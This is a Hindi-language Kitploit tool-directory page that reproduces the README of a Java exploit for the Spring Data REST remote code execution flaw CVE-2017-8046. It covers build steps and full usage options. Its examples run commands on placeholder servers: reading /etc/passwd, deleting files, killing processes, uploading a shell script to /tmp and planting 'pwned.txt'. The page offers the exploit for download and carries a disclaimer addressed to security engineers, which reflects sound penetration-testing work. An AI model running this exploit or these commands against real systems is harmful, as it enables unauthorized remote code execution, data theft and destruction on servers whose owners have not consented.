Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
spring-break_cve-2017-8046 — यह एक Java प्रोग्राम है जो Spring Break भेद्यता (CVE-2017-8046) का शोषण करता है। | Kitploit
उपकरण/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

यह एक Java प्रोग्राम है जो Spring Break भेद्यता (CVE-2017-8046) का शोषण करता है।

रिपॉजिटरी देखें
171115 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

spring-break_cve-2017-8046

यह एक Java प्रोग्राम है जो Spring Break कमजोरी (CVE-2017-8046) का शोषण करता है।

इस सॉफ्टवेयर को जितना संभव हो उतना कम बाहरी निर्भरता रखने के लिए लिखा गया है।

अस्वीकरण

यह उपकरण सुरक्षा इंजीनियरों और ऐपसेक विशेषज्ञों के लिए सुरक्षा मूल्यांकन हेतु है। कृपया इस उपकरण का जिम्मेदारी से उपयोग करें। मैं इस एप्लिकेशन के उपयोग के तरीके की जिम्मेदारी नहीं लेता। इस उपकरण के उपयोग से होने वाली किसी भी क्षति या किए गए किसी भी अपराध के लिए मैं उत्तरदायी नहीं हूँ।

कमजोरी की जानकारी

  • CVE-ID: CVE-2017-8046
  • Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • विवरण: Pivotal Spring Data REST के 2.5.12, 2.6.7, 3.0 RC3 से पहले के संस्करणों, Spring Boot के 2.0.0M4 से पहले के संस्करणों, और Kay-RC3 से पहले के Spring Data रिलीज़ ट्रेनों में चलने वाले सर्वरों पर दुर्भावनापूर्ण PATCH अनुरोध विशेष रूप से तैयार किए गए JSON डेटा का उपयोग करके मनमाना Java कोड चला सकते हैं।
  • Vendor link: https://pivotal.io/security/cve-2017-8046

एक निष्पादन योग्य JAR कैसे बनाएं

यहाँ एक निष्पादन योग्य JAR उत्पन्न करने के लिए कुछ कदम दिए गए हैं, जिसमें सभी निर्भरताएँ शामिल हों, जिसका उपयोग शोषण को लॉन्च करने के लिए किया जा सकता है।

Maven के साथ

निम्नलिखित Maven कमांड चलाया जा सकता है:

root@kitploit:~
mvn clean compile package

Eclipse के साथ

निम्नलिखित कदम उठाए जा सकते हैं:

  1. सभी बाहरी निर्भरताओं/लाइब्रेरियों को हल करें;
  2. Eclipse प्रोजेक्ट पर राइट-क्लिक करें और Run As > Run Configurations पर जाएँ;
  3. Java Application पर राइट-क्लिक करें फिर New पर;
  4. एक नाम चुनें और मुख्य वर्ग को com.afs.exploit.spring.SpringBreakCve20178046 पर सेट करें;
  5. Apply बटन पर क्लिक करें;
  6. विंडो बंद करें और मुख्य Eclipse विंडो पर वापस जाएँ;
  7. Eclipse प्रोजेक्ट पर राइट-क्लिक करें और Export... पर क्लिक करें;
  8. Runnable JAR file ढूँढें और चुनें (Java शाखा के अंतर्गत);
  9. निम्नलिखित विंडो में:
    1. पहले बनाए गए सही Launch configuration को चुनें;
    2. एक Export destination चुनें;
    3. विकल्प Extract required libraries into generated JAR चुनें;
    4. Finish बटन पर क्लिक करें।

सहायता

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

उदाहरण

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

कृपया ध्यान दें कि संदर्भित संसाधन/URL मौजूद होना चाहिए!

कमजोर एप्लिकेशन

एक कमजोर एप्लिकेशन यहाँ पाया जा सकता है।

लेखक

  • एंटोनियो फ्रांसेस्को सरडेला - मुख्य कार्यान्वयन - m3ssap0
  • यासीन तिओल - HTTP हेडर संवर्धन - nisay759
  • रॉबिन वैगेनार - पैच ऑपरेशन 'remove' को 'replace' के बजाय उपयोग करने के सुझाव और फ़ाइल अपलोड कार्यक्षमता के लिए - RobinWagenaar

लाइसेंस

यह प्रोजेक्ट Apache License Version 2.0 के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE.txt फ़ाइल देखें।

आभार

  • मैन यू मो वह सुरक्षा शोधकर्ता जिसने कमजोरी की खोज की
टूल डाउनलोड करें